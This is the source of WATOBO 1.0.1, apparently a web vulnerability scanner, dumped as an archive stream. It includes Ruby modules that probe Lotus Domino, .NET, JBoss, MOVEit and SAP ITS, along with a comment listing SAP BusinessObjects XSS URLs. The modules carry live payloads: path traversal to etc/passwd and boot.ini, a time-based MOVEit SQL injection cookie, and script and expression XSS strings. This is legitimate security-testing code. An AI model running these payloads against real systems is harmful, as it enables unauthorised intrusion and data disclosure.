private.nsf products.nsf public.nsf qpadmin.nsf qstart50.nsf qstart.nsf readmec.nsf readme.nsf readmes.nsf reports.nsf schema50.nsf secret.nsf secure.nsf setup.nsf setupweb.nsf siregw46.nsf site1w46.nsf site2w46.nsf site3w46.nsf smbcfg.nsf smconf.nsf smency.nsf smhelp.nsf smmsg.nsf smquar.nsf smsolar.nsf smtime.nsf smtpibwq.nsf smtp.nsf smtpobwq.nsf smtptbls.nsf smvlog.nsf software.nsf srvinst.nsf statmail.nsf statrep.nsf stats217.nsf stats572.nsf stats675.nsf stats988.nsf stauths.nsf stautht.nsf stconfig.nsf stconf.nsf stdnaset.nsf stdomino.nsf stlog.nsf streg.nsf stsrc.nsf test.nsf today.nsf user.nsf userreg.nsf users.nsf vpuserinfo.nsf webadmin.nsf web.nsf webuser.nsf welcome.nsf wksinst.nsf wwsample.nsfwatobo-1.0.1/modules/active/domino/domino_db.rb000077500000000000000000000075631366346341400215230ustar00rootroot00000000000000require 'digest/md5' require 'digest/sha1' # @private module Watobo #:nodoc: all module Modules module Active module Domino class Domino_db < Watobo::ActiveCheck @info.update( :check_name => 'Lotus Domino DB Enumeration', # name of check which briefly describes functionality, will be used for tree and progress views :description => "Enumeration of well known Domino DBs.", # description of checkfunction :author => "Andreas Schmidt", # author of check :check_group => AC_GROUP_DOMINO, :version => "1.0" # check version ) @finding.update( :threat => 'Information Disclosure and/or modifying of databases.', # thread of vulnerability, e.g. loss of information :class => "Lotus Domino: Default Database", # vulnerability class, e.g. Stored XSS, SQL-Injection, ... :type => FINDING_TYPE_HINT # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN ) def initialize(project, prefs={}) super(project, prefs) @domino_dbs = [] filename = "domino_db.lst" path = File.dirname(__FILE__) db_file = File.join(path, filename) begin fh = open(db_file, "r") fh.each_line do |dbname| @domino_dbs.push dbname.strip end # puts "* #{@domino_dbs.length} Lotus Domino DB Names loaded" rescue => bang puts "!!! ERROR: Problems import Domino DB List" puts "File:" puts "#{db_file}" puts bang end end def generateChecks(chat) begin # if chat.request.url.to_s =~ /(.*)\/\w*\.nsf/ then @domino_dbs.each do |db| checker = proc { test_request = nil test_response = nil test = chat.copyRequest test.replaceFileExt db #test_request,test_response = doRequest(test,:default => true) #if test_response.status =~ /ok/i then fexist, test_request, test_response = fileExists?(test, :default => true) if fexist and test_response.status =~ /200/ # test_chat = Chat.new(test, test_response, chat.id) if test_response.join =~ /(names\.nsf\?Login)/ # if default db found, check for content addFinding(test_request, test_response, :test_item => chat.request.url.to_s, :check_pattern => "#{db}", :proof_pattern => "#{test_response.status}", :chat => chat, :title => db ) else addFinding(test_request, test_response, :check_pattern => "#{db}", :proof_pattern => "#{test_response.status}", :test_item => chat.request.url.to_s, :class => "Lotus Domino: Unprotected Default DB", :type => FINDING_TYPE_VULN, :chat => chat, :rating => VULN_RATING_HIGH, :title => db ) [test_request, test_response] end end } yield checker end #end rescue => bang puts bang puts "ERROR!! #{Module.nesting[0].name}" raise end end end # --> eo namespace end end end end watobo-1.0.1/modules/active/dotNET/000077500000000000000000000000001366346341400170765ustar00rootroot00000000000000watobo-1.0.1/modules/active/dotNET/custom_errors.rb000066400000000000000000000075271366346341400223440ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Modules module Active module Dotnet #class Dir_indexing < Watobo::Mixin::Session class Custom_errors < Watobo::ActiveCheck @@tested_directories = Hash.new @info.update( :check_name => '.NET Custom Error', # name of check which briefly describes functionality, will be used for tree and progress views :description => "This module checks if custom errors messages are used and Stack-Tracing is enabled.", # description of checkfunction :author => "Andreas Schmidt", # author of check :version => "1.0", # check version :check_group => ".NET" ) @finding.update( :threat => 'Information Disclosure. Internal error messages are exposed to end users.', # thread of vulnerability, e.g. loss of information :class => ".NET: Custom Errors", # vulnerability class, e.g. Stored XSS, SQL-Injection, ... :type => FINDING_TYPE_VULN, # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN :rating => VULN_RATING_INFO ) def initialize(project, prefs={}) super(project, prefs) end def generateChecks(chat) begin if chat.request.url.to_s =~ /\.aspx/ then checker = proc { begin test_request = nil test_response = nil test = chat.copyRequest test.set_method("POST") test.set_content_type("application/x-www-form-urlencoded") test.set_content_length("0") test.setData "__VIEWSTATE=watobo" status, test_request, test_response = fileExists?(test) if test_response.has_body? and test_response.body =~ /Server Error in/ puts ".NET Custom Error >> #{test.url.to_s}" addFinding( test_request, test_response, :test_item => "__VIEWSTATE", :proof_pattern => Regexp.quote("Server Error in"), :check_pattern => Regexp.quote("__VIEWSTATE"), :chat => chat, :threat => "Information Disclosure: Error messages may disclose potentially sensitive information about the internal implementation of the website.", :title => "[Server Error]" ) trace_pattern = "customErrors mode=.*RemoteOnly" if test_response.body =~ /#{trace_pattern}/i #puts "STACK-TRACE!!!" addFinding( test_request, test_response, :test_item => "__VIEWSTATE", :proof_pattern => trace_pattern, :check_pattern => Regexp.quote("__VIEWSTATE"), :chat => chat, :threat => "Information Disclosure: A Stack-Trace may disclose potentially sensitive information about the internal implementation of the website.", :title => "[Stack-Trace]", :class => ".NET: Stack-Trace" ) end end [ test_request, test_response ] rescue => bang puts bang puts bang.backtrace if $DEBUG end [ nil, nil ] } yield checker end rescue => bang puts "!error in module #{Module.nesting[0].name}" puts bang end end end end end end end watobo-1.0.1/modules/active/dotNET/dotnet_files.rb000066400000000000000000000063671366346341400221160ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Modules module Active module Dotnet #class Dir_indexing < Watobo::Mixin::Session class Dotnet_files < Watobo::ActiveCheck @@tested_directories = Hash.new @info.update( :check_name => '.NET Files', # name of check which briefly describes functionality, will be used for tree and progress views :description => "This module checks your application for well known files, e.g. trace.axd.", # description of checkfunction :author => "Andreas Schmidt", # author of check :version => "1.0", # check version :check_group => ".NET" ) @finding.update( :threat => 'Information Disclosure.', # thread of vulnerability, e.g. loss of information :class => ".NET: Well-Known Files", # vulnerability class, e.g. Stored XSS, SQL-Injection, ... :type => FINDING_TYPE_VULN, # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN :rating => VULN_RATING_INFO ) def initialize(project, prefs={}) super(project, prefs) @wnfs = [] @wnfs << { :name => "Trace.axd", :pattern => "Trace\.axd.clear=1" } @wnfs << { :name => "elmah.axd", :pattern => "Error log for" } end def reset() @@tested_directories.clear end def generateChecks(chat) begin path = chat.request.dir if !@@tested_directories.has_key?(path) then @@tested_directories[path] = true @wnfs.each do |wnf| checker = proc { begin test_request = nil test_response = nil test = chat.copyRequest test.replaceFileExt(wnf[:name]) status, test_request, test_response = fileExists?(test) if status == true and test_response.has_body? if test_response.body =~ /#{wnf[:pattern]}/ addFinding( test_request, test_response, :test_item => "#{wnf[:name]}", :proof_pattern => "#{wnf[:pattern]}", :check_pattern => "#{Regexp.quote(wnf[:name])}", :chat => chat, :threat => "depends on the file ;)", :title => "[#{wnf[:name]}]" ) end end rescue => bang puts bang puts bang.backtrace if $DEBUG end [ test_request, test_response ] } yield checker end end rescue => bang puts "!error in module #{Module.nesting[0].name}" puts bang end end end end end end end watobo-1.0.1/modules/active/fileinclusion/000077500000000000000000000000001366346341400206045ustar00rootroot00000000000000watobo-1.0.1/modules/active/fileinclusion/lfi_simple.rb000066400000000000000000000107621366346341400232620ustar00rootroot00000000000000require 'digest/md5' require 'digest/sha1' # @private module Watobo#:nodoc: all module Modules module Active module Fileinclusion class Lfi_simple < Watobo::ActiveCheck @info.update( :check_name => 'Local File Inclusion', # name of check which briefly describes functionality, will be used for tree and progress views :description => "Checks for parameters, which can lead to local file inclusion.", # description of checkfunction :author => "Andreas Schmidt", # author of check :check_group => AC_GROUP_FILE_INCLUSION, :version => "1.0" # check version ) @finding.update( :threat => 'Code Execution or Information Leakage', # thread of vulnerability, e.g. loss of information :class => "Local File Inclusion", # vulnerability class, e.g. Stored XSS, SQL-Injection, ... :type => FINDING_TYPE_VULN # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN ) def initialize(project, prefs={}) super(project, prefs) @include_checks = [ ["etc/passwd",'root:[^:]+:\w+:\w+' ], ["etc/passwd%00",'root:[^:]+:\w+:\w+' ], ["boot.ini", Regexp.quote('[boot loader]')], ["boot.ini%00", Regexp.quote('[boot loader]')] ] @updirs = [0,5,10,15,20] end def generateChecks(chat) begin @updirs.each do |up| @include_checks.each do |file, pattern| urlParmNames(chat).each do |parm| checker = proc{ test_request = nil test_response = nil test = chat.copyRequest check = "../"*up + file test.replace_get_parm(parm, check) test_request,test_response = doRequest(test) # test_chat = Chat.new(test, test_response, chat.id) if test_response.join =~ /(#{pattern})/ # if default db found, check for content match = $1 addFinding(test_request,test_response, :check_pattern => "#{file}", :test_item => parm, :proof_pattern => "#{match}", :chat => chat, :rating => VULN_RATING_HIGH, :title => "[#{parm}] - #{test_request.file}" ) end [ test_request, test_response ] } yield checker end postParmNames(chat).each do |parm| checker = proc{ test_request = nil test_response = nil test = chat.copyRequest check = "../"*up + file test.replace_post_parm(parm, check) test_request,test_response = doRequest(test) if test_response.join =~ /(#{pattern})/i # if default db found, check for content match = $1 addFinding(test_request,test_response, :test_item => parm, :check_pattern => "#{file}", :proof_pattern => "#{match}", :chat => chat, :rating => VULN_RATING_HIGH, :title => "[#{parm}] - #{file}" ) end [ test_request, test_response ] } yield checker end end end rescue => bang puts bang puts bang.backtrace if $DEBUG puts "ERROR!! #{Module.nesting[0].name}" raise end end end # --> eo namespace end end end end watobo-1.0.1/modules/active/http_header/000077500000000000000000000000001366346341400202305ustar00rootroot00000000000000watobo-1.0.1/modules/active/http_header/max_forwards_header.rb000066400000000000000000000101251366346341400245600ustar00rootroot00000000000000=begin http://www.wisec.it/sectou.php?id=4698ebdc59d15 $ curl -i -H "Negotiate: watobo" http://192.168.70.134/index HTTP/1.1 406 Not Acceptable Date: Fri, 24 Jan 2014 08:46:35 GMT Server: Apache/2.2.22 (Debian) Alternates: {"index.bak" 1 {type application/x-trash} {length 0}}, {"index.html" 1 {type text/html} {length 177}}, {"index.tgz" 1 {type application/x-gzip} {length 0}} Vary: negotiate,accept,Accept-Encoding TCN: list Content-Length: 568 Content-Type: text/html; charset=iso-8859-1 406 Not Acceptable

Not Acceptable

An appropriate representation of the requested resource /index could not be found on this server.

Available variants:
Apache/2.2.22 (Debian) Server at 192.168.70.134 Port 80
=end # @private module Watobo#:nodoc: all module Modules module Active module Http_header class Max_forwards_header < Watobo::ActiveCheck @@tested_paths = [] details =< 'Max-Forwards HTTP Header', # name of check which briefly describes functionality, will be used for tree and progress views :description => "Checks if request runs through a proxy server.", # description of checkfunction :author => "Andreas Schmidt", # author of check :check_group => AC_GROUP_GENERIC, :version => "1.0" # check version ) @finding.update( :threat => 'Makes enumeration of backup or renamed files easier. see also http://www.wisec.it/sectou.php?id=4698ebdc59d15', # thread of vulnerability, e.g. loss of information :class => "Max-Forwards Header", # vulnerability class, e.g. Stored XSS, SQL-Injection, ... :rating => VULN_RATING_INFO, :measure => "Filter Max-Forwards HTTP header or supress responses with sensitive information.", :details => details, :type => FINDING_TYPE_HINT # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN ) def initialize(session_name=nil, prefs={}) # @project = project super(session_name, prefs) @@response_hashes = [] @@tested_paths = [] end def reset() @@tested_paths.clear @@response_hashes.clear end def generateChecks(chat) begin checker = proc{ test_request = nil test_response = nil test_request = chat.copyRequest test_request.set_header("Max-Forwards","0") t_request, t_response = doRequest(test_request, :default => true) unless Watobo::Utils.compare_responses(t_response, chat.response) addFinding( t_request, t_response, :check_pattern => "Max-Forwards", :chat => chat, :title => "Max-Forwards - #{t_request.path}" ) end [ test_request, test_response ] } yield checker rescue => bang puts "ERROR!! #{Module.nesting[0].name} " puts "chatid: #{chat.id}" puts bang puts end end end end end end end watobo-1.0.1/modules/active/http_upgrade/000077500000000000000000000000001366346341400204275ustar00rootroot00000000000000watobo-1.0.1/modules/active/http_upgrade/http_upgrade.rb000066400000000000000000000111221366346341400234370ustar00rootroot00000000000000# @private module Watobo #:nodoc: all module Modules module Active module Http_upgrade class Http_upgrade < Watobo::ActiveCheck # TODO: make different checks for better adoption of spedific headers =begin Infos: https://en.wikipedia.org/wiki/HTTP/1.1_Upgrade_header Example: JBoss Remoting GET / HTTP/1.1 Sec-JbossRemoting-Key: f36M+fZYgDQQplAh5sVOYA== Upgrade: jboss-remoting Host: scal204:8280 Connection: upgrade --- GET http://demos.kaazing.com/echo?.kl=AL HTTP/1.1 Host: demos.kaazing.com Connection: Upgrade User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Upgrade: WebSocket Sec-WebSocket-Version: 13 Sec-WebSocket-Key: V29MSM/pNjdXWKzT1ZgUQ== =end @@tested_paths = [] @@upgrade_protocols = %w( jboss-remoting websocket ) @@upgrade_headers = {} @@upgrade_headers['jboss-remoting'] = { 'Sec-JbossRemoting-Key' => lambda { Base64.strict_encode64(SecureRandom.hex(6))} } @@upgrade_headers['websocket'] = { 'Sec-WebSocket-Version' => lambda { "13"}, 'Sec-WebSocket-Key' => lambda { Base64.strict_encode64(SecureRandom.hex(6))} } threat = <<'EOF' EOF measure = "check if protocol upgrade is intended or needed" @info.update( :check_name => 'HTTP Upgrade', # name of check which briefly describes functionality, will be used for tree and progress views :check_group => 'HTTP Protocol', :description => "Checks if connection is able to upgrade, e.g. to websockets or jboss-remoting", # description of checkfunction :author => "Andreas Schmidt", # author of check :version => "1.0" # check version ) @finding.update( :threat => threat, # thread of vulnerability, e.g. loss of information :class => "HTTP Upgrade", # vulnerability class, e.g. Stored XSS, SQL-Injection, ... :type => FINDING_TYPE_HINT, # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN :measure => measure ) def initialize(project, prefs = {}) super(project, prefs) end def reset() @@tested_paths.clear end def generateChecks(chat) begin file = chat.request.file return nil if @@tested_paths.include? file @@tested_paths << file @@upgrade_protocols.each do |up| checker = proc { test_request = nil test_response = nil # IMPORTANT!!! # use copyRequest(chat) for cloning the original request t_request = chat.copyRequest t_request.setHeader('Upgrade', up) t_request.setHeader('Connection', 'upgrade') # add specifig headers @@upgrade_headers[up].each do |k,v| t_request.setHeader(k, v.call) end status, test_request, test_response = doRequest(t_request, :no_connection_close => true, :skip_body => true) unless test_response.nil? upgrade_header = test_response.headers(/^Upgrade/).first connection_header = test_response.headers(/^Connection/).first unless upgrade_header.nil? && connection_header.nil? if upgrade_header =~ /#{up}/i addFinding(test_request, test_response, :threat => "Found that HTTP is upgradeable", :measure => "check if intended", :check_pattern => "#{up}", :proof_pattern => "#{up}", :test_item => up, :type => FINDING_TYPE_HINT, :class => "Information", :chat => chat, :title => "HTTP Upgrade #{up}" ) end end end [test_request, test_response] } yield checker end rescue => bang puts "ERROR!! #{Module.nesting[0].name} " puts "chatid: #{chat.id}" puts bang puts end end end end end end end watobo-1.0.1/modules/active/ipswitch/000077500000000000000000000000001366346341400175735ustar00rootroot00000000000000watobo-1.0.1/modules/active/ipswitch/moveit_sqlinjection.rb000066400000000000000000000076031366346341400242130ustar00rootroot00000000000000# @private module Watobo #:nodoc: all module Modules module Active module Ipswitch #class Dir_indexing < Watobo::Mixin::Session class Moveit_sqlinjection < Watobo::ActiveCheck @info.update( :check_name => 'MoveIt SQL Injection', # name of check which briefly describes functionality, will be used for tree and progress views :description => "This module performs SQL injection checks.", # description of checkfunction :author => "Andreas Schmidt", # author of check :version => "1.0", # check version :check_group => "IPSwitch MoveIT" ) @finding.update( :threat => "There's a blind SQL injection vulnerability in older MOVEit Transfer aka MOVEit DMZ versions", # thread of vulnerability, e.g. loss of information :class => "MoveIT DMZ: SQLInjection", # vulnerability class, e.g. Stored XSS, SQL-Injection, ... :type => FINDING_TYPE_VULN, # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN :rating => VULN_RATING_CRITICAL, :references => ['https://www.siberas.de/assets/papers/ssa-1705_IPSWITCH_SQLinjection.txt'] ) def initialize(project, prefs={}) super(project, prefs) @checked_locations = [] end def reset() @checked_locations = [] end def generateChecks(chat) dir = chat.request.dir return false if @checked_locations.include? dir @checked_locations << dir checker = proc { begin test_request = nil test_response = nil rtimes = [] 3.times do test = chat.copyRequest start = Time.now().to_i t_request, t_response = doRequest(test, :default => true) stop = Time.now().to_i rtimes << (stop - start) end max_t = rtimes.max + 1 max_t += 1 if max_t < 2 timeout_t = 2 * max_t output = "" begin timeout(max_t.to_f) do test = chat.copyRequest test.set_header('X-siLock-AgentBrand', 'yourout') test.set_header("Cookie", "ASP.NET_SessionId=1111111111\\' AND (SELECT * FROM (SELECT(SLEEP(#{timeout_t})))AAAA) -- ;") moveit_path = dir + '/moveitisapi/moveitisapi.dll?action=download' test.set_path moveit_path test_request = test.copy dummy_request, test_response = doRequest(test, :default => true) end rescue Timeout::Error output << "Request didn't finish after max_t #{max_t}\nPrevious Response Times:\n- #{rtimes.join("\n- ")}" addFinding(test_request, test_response, :check_pattern => 'ASP.NET_SessionId', :chat => chat, :title => 'moveitisapi.dll?action=download', :proof_pattern => "", :test_item => '/moveitisapi/moveitisapi.dll?action=download', :class => 'MOVEit SQL-Injection', :output => output ) rescue => bang puts bang puts bang.backtrace end rescue => bang puts bang puts bang.backtrace if $DEBUG end [test_request, test_response] } yield checker end end end end end end watobo-1.0.1/modules/active/ipswitch/moveit_version.rb000077500000000000000000000052661366346341400232040ustar00rootroot00000000000000# @private module Watobo #:nodoc: all module Modules module Active module Ipswitch #class Dir_indexing < Watobo::Mixin::Session class Moveit_version < Watobo::ActiveCheck @info.update( :check_name => 'MoveIt DMZ Version', # name of check which briefly describes functionality, will be used for tree and progress views :description => "This module checks the version of a MoveIt DMZ Version.", # description of checkfunction :author => "Andreas Schmidt", # author of check :version => "1.0", # check version :check_group => "IPSwitch MoveIT" ) @finding.update( :threat => 'The exact version number can be used to prepare a special attack', # thread of vulnerability, e.g. loss of information :class => "MoveIT DMZ: Version", # vulnerability class, e.g. Stored XSS, SQL-Injection, ... :type => FINDING_TYPE_VULN, # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN :rating => VULN_RATING_INFO ) def initialize(project, prefs={}) super(project, prefs) @checked_locations = [] end def reset() @checked_locations = [] end def generateChecks(chat) dir = chat.request.dir return false if @checked_locations.include? dir @checked_locations << dir checker = proc { begin test_request = nil test_response = nil test = chat.copyRequest moveit_path = dir + 'MOVEitISAPI/MOVEitISAPI.dll?action=capa' test.set_path moveit_path test_request, test_response = doRequest(test) version = nil test_response.headers('X-MOVEitISAPI-Version') do |header| version = header.match(/X-MOVEitISAPI-Version: (.*)/)[1] end unless version.nil? addFinding(test_request, test_response, :test_item => "#{test_request.url}", :proof_pattern => "X-MOVEitISAPI-Version: #{version}", :chat => chat, :title => "[#{version}]" ) end rescue => bang puts bang puts bang.backtrace if $DEBUG end [test_request, test_response] } yield checker end end end end end end watobo-1.0.1/modules/active/jboss/000077500000000000000000000000001366346341400170615ustar00rootroot00000000000000watobo-1.0.1/modules/active/jboss/jboss_basic.rb000066400000000000000000000103511366346341400216670ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Modules module Active module Jboss class Jboss_basic < Watobo::ActiveCheck @info.update( :check_name => 'Basic JBoss enumeration', # name of check which briefly describes functionality, will be used for tree and progress views :check_group => AC_GROUP_JBOSS, :description => "Check every parameter for SQL-Injection flaws.", # description of checkfunction :author => "Andreas Schmidt", # author of check :version => "0.9" # check version ) @finding.update( :class => "JBoss-AS (critical)", # vulnerability class, e.g. Stored XSS, SQL-Injection, ... :type => FINDING_TYPE_VULN # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN ) def reset() @checked_dirs.clear end def initialize(project, prefs={}) super(project, prefs) measure = "Remove all unnecessary JBoss-Interfaces like JMX-Console." @jboss_checks = Hash.new @jboss_checks["JBoss-AS (critical)"] = { :dirs => ['/jmx-console/HtmlAdaptor', '/web-console/Invoker', '/invoker/JMXInvokerServlet'], :rating => VULN_RATING_CRITICAL, :threat => "This server supports dangerous JBoss interfaces. An attacker can use these interfaces to gain control over system by deploying its own malicious servlets.", :measure => measure } # measure = "Disable all unneeded functions." @jboss_checks["JBoss-AS (info)"] = { :dirs => [ '/status', '/web-console/ServerInfo.jsp'], :rating => VULN_RATING_LOW, :threat => "There are some functions enabled on this server which leads to information disclosure. An attacker can use these information to prepare more targeted attacks. ", :measure => measure } @checked_dirs = Hash.new end def generateChecks(chat) chat.request.subDirs do |dir| if not @checked_dirs.has_key?(dir) @checked_dirs[dir] = :checked @jboss_checks.each do |ckey, check_settings| check_settings[:dirs].each do |cdir| checker = proc { check_dir = cdir test_request = nil test_response = nil # IMPORTANT!!! # use copyRequest(chat) for cloning the original request test = chat.copyRequest puts "appending dir #{check_dir}" test.setDir(dir) test.appendDir(check_dir) #puts test status, test_request, test_response = fileExists?(test, :default => true) if status == true #test_chat = Chat.new(test, test_response,chat.id) # resource = "/" + test_request.resource addFinding( test_request, test_response, :check_pattern => "#{check_dir}", :test_item => dir, :chat => chat, :title => "[#{check_dir}]", :rating => check_settings[:rating], :threat => check_settings[:threat], :measure => check_settings[:measure], :class => ckey ) end [ test_request, test_response ] } yield checker end end end end end end end end end end watobo-1.0.1/modules/active/sap/000077500000000000000000000000001366346341400165245ustar00rootroot00000000000000watobo-1.0.1/modules/active/sap/business_objects.rb000066400000000000000000000130651366346341400224220ustar00rootroot00000000000000=begin http://www.example.com:8080/AdminTools/querybuilder/ie.jsp?ADD_RULE=1&AND_BTN=1&ATTRIBUTES_LIST=1&ATTRIBUTES_NOTES=1&ATTRIBUTES_PROMPT=1&BUILD_SQL_HEADER=1&BUILD_SQL_INSTRUCTION=1&EXIT=1&FINISH=1&FINISH_BTN=1&FINISH_HEADER=1&IETIPS=1&MUST_ANDOR_CLAUSES=1&MUST_SELECT_CLAUSES=1&NO_CLAUSES=1&NO_RULES=1&OR=1&OR_BTN=1&OTHER_RULE_HEADER=1&REMOVE=1&REMOVE_RULE_HEADER=1&RESET=1&RULE_HEADER=1&SELECT_SUBTITLE1=mr&SELECT_SUBTITLE2=mr&SELECT_SUBTITLE3=mr&SELECT_SUBTITLE4=mr&SPECIFY_ATTRIBUTES_PROMPT=1&SUBMIT=1&TITLE=mr&WELCOME_USER=1&framework=%22%3E%3Cscript%3Ealert(1)%3C/script%3E http://www.example.com:8080/AdminTools/querybuilder/logonform.jsp?APSNAME=Procheckup&AUTHENTICATION=1&LOGON=1&LOG_ON=1&NOTRECOGNIZED=1&PASSWORD=Pcu12U4&REENTER=1&TITLE=mr&UNSURE=1&USERNAME=Procheckup&WELCOME_LOGON=1&action=1&framework="> http://www.example.com:8080/AnalyticalReporting/querywizard/jsp/apply.jsp?WOMdoc=1&WOMqueryAtt=1&WOMquerycontexts=1&WOMqueryfilters=1&WOMqueryobjs=1&WOMunit=1&bodySel=1&capSel=1&colSel=1&compactSteps=1&currReportIdx=1&defaultName=Procheckup&docid=1&doctoken=1&dummy=1&isModified=1&lang=">&lastFormatZone=1&lastOptionZone=1&lastStepIndex=1&mode=1&rowSel=1§ionSel=1&skin=1&topURL=1&unvid=1&viewType=1&xSel=1&ySel=1&zSel=1& http://www.example.com:6405/AnalyticalReporting/querywizard/jsp/apply.jsp?lang=%22%3E%3C/script%3E%3Cscript%3Ealert(1)%3C/script%3E& http://www.example.com:8080/AnalyticalReporting/querywizard/jsp/query.jsp?contexts=1&docid=1&doctoken=1&dummy=1&lang="> http://www.example.com:6405/AnalyticalReporting/querywizard/jsp/query.jsp?lang="> http://www.example.com:8080/AnalyticalReporting/querywizard/jsp/query.jsp?contexts=1&docid=1&doctoken=1&dummy=1&lang=1&mode=1&queryobjs=1&resetcontexts=1&scope=1&skin=">&unvid=1& http://www.example.com:6405/AnalyticalReporting/querywizard/jsp/query.jsp?skin="> http://www.example.com:8080/AnalyticalReporting/querywizard/jsp/turnto.jsp?WOMblock=1&WOMqueryAtt=1&WOMqueryfilters=1&WOMqueryobjs=1&WOMturnTo=1&WOMunit=1&doctoken=1&dummy=1&lang=">&skin=1&unit=1& http://www.example.com:6405/AnalyticalReporting/querywizard/jsp/turnto.jsp?lang="> http://www.example.com:8080/CrystalReports/jsp/CrystalReport_View/viewReport.jsp?loc=//-->"> http://www.example.com:8080/InfoViewApp/jsp/common/actionNavFrame.jsp?url="> http://www.example.com:8080/PerformanceManagement/scripts/docLoadUrl.jsp?url=%22%3E%3C/script%3E%3Cscript%3Ealert(1)%3C/script%3E http://www.example.com:6405/PerformanceManagement/scripts/docLoadUrl.jsp?url=�> http://www.example.com:8080/PerformanceManagement/jsp/aa-display-flash.jsp?swf="> http://www.example.com:8080/PerformanceManagement/jsp/alertcontrol.jsp?serSes=%22%3E%3Cscript%3Ealert(1)%3C/script%3E http://www.example.com:6405/PerformanceManagement/jsp/alertcontrol.jsp?serSes=�> http://www.example.com:8080/PerformanceManagement/jsp/viewError.jsp?error= http://www.example.com:6405/PerformanceManagement/jsp/viewError.jsp?error= http://www.example.com:8080/PerformanceManagement/jsp/ic_pm/wigoalleftlisttr.jsp?actcontent=1&actiontype=1&actual=1&anlimage=1&columns=1&flowid="<~/XSS/*-*/STYLE=xss:e/**/xpression (location='http://www.procheckup.com')>&flowname=Procheckup&gacid=1&list=1&listname=Procheckup&listonly=1&progstatus=1&progtrend=1&progtrendImage=1&target=http://www.procheckup.com&uid=1&variance=1&viewed=1& http://www.example.com:6405/PerformanceManagement/jsp/ic_pm/wigoalleftlisttr.jsp?flowid=%22%3E%3Cscript%3Ealert(1)%3C/script%3E&flowname=Procheckup&progtrend=1&viewed=1& http://www.example.com:8080/PerformanceManagement/jsp/ic_pm/wigoalleftlisttr.jsp?actcontent=1&actiontype=1&actual=1&anlimage=1&columns=1&flowid=">&flowname=Procheckup&gacid=1&list=1&listname=Procheckup&listonly=1&progstatus=1&progtrend=1&progtrendImage=1&target=1&uid=1&variance=1&viewed=1& http://www.example.com:6405//PerformanceManagement/jsp/ic_pm/wigoalleftlisttr.jsp?&flowid=">&flowname=Procheckup&gacid=1&progtrend=1&progtrendImage=1&viewed=1& http://www.example.com:8080/PerformanceManagement/jsp/sb/roleframe.jsp?rid="<~/XSS/*-*/STYLE=xss:e/**/xpression(location='http://www.procheckup.com')> http://www.example.com:6405//PerformanceManagement/jsp/sb/roleframe.jsp?rid="<~/XSS/*- http://www.example.com:8080/PerformanceManagement/jsp/viewWebiReportHeader.jsp?sEntry=%3C/script%3E%3Cscript%3Ealert(1)%3C/script%3E http://www.example.com:6405/PerformanceManagement/jsp/viewWebiReportHeader.jsp?sEntry=%3C/script%3E%3Cscript%3Ealert(1)%3C/script%3E http://www.example.com:8080/PerformanceManagement/jsp/wait-frameset.jsp?dummyParam=" http://www.example.com:6405/PerformanceManagement/jsp/wait-frameset.jsp?dummyParam=" http://www.example.com:8080/PlatformServices/preferences.do?cafWebSesInit=true&service=&actId=541&appKind=CMC =end =begin # @private module Watobo#:nodoc: all module Modules module Active module Sap class Business_objects < Watobo::ActiveCheck def initialize(project, prefs={}) super(project, prefs) end end end end end end =endwatobo-1.0.1/modules/active/sap/its_commands.rb000066400000000000000000000055101366346341400215320ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Modules module Active module Sap class Its_commands < Watobo::ActiveCheck @info.update( :check_name => 'SAP ITS: Default Commands', # name of check which briefly describes functionality, will be used for tree and progress views :description => "Identifies vulnerable SAP ITS commands", # description of checkfunction :author => "Andreas Schmidt", # author of check :version => "0.9", # check version :check_group => AC_GROUP_SAP ) @finding.update( :threat => 'Multiple', # thread of vulnerability, e.g. loss of information :class => "SAP ITS: Default Commands", # vulnerability class, e.g. Stored XSS, SQL-Injection, ... :type => FINDING_TYPE_VULN # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN ) def initialize(project, prefs={}) super(project, prefs) # commands 2d array containing the command name and risk rating @commands=[ ["AgateInstallCheck", VULN_RATING_LOW], ["fieldDump", VULN_RATING_LOW], ] end def generateChecks(chat) begin if chat.request.url.to_s =~ /\/wgate\/(\w*)\// then @commands.each do |cmd, risk| checker = proc{ test_request = nil test_response = nil test = chat.copyRequest test.add_get_parm("~command", "#{cmd.dup}") test_request,test_response = doRequest(test,:default => true) if test_response.status =~ /200/i then # test_chat = Chat.new(test,test_response,chat.id) addFinding( test_request,test_response, :test_item => chat.request.url, :check_pattern => "#{cmd.dup}", :proof_pattern => "#{test_response.status}", :chat => chat, :title => "#{cmd.dup}" ) end [ test_request, test_response ] } yield checker end end rescue => bang puts bang puts "ERROR!! #{Module.nesting[0].name}" raise end end end # --> eo namespace end end end end watobo-1.0.1/modules/active/sap/its_service_parameter.rb000066400000000000000000000062051366346341400234330ustar00rootroot00000000000000require 'digest/md5' require 'digest/sha1' # @private module Watobo#:nodoc: all module Modules module Active module Sap class Its_service_parameter < Watobo::ActiveCheck @info.update( :check_name => 'SAP ITS: Service Parameters', # name of check which briefly describes functionality, will be used for tree and progress views :description => "Checks SAP ITS services for default parameters.", # description of checkfunction :author => "Andreas Schmidt", # author of check :version => "0.9", # check version :check_group => AC_GROUP_SAP ) @finding.update( :threat => 'Information Disclosure (and maybe more)', # thread of vulnerability, e.g. loss of information :class => "SAP ITS: Service Parameters", # vulnerability class, e.g. Stored XSS, SQL-Injection, ... :type => FINDING_TYPE_HINT # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN ) def initialize(project,prefs={}) super(project, prefs) @default_service_parameters = [ ["~command","AgateInstallCheck"], ["~runtimeMode", "DM"], # Development Mode 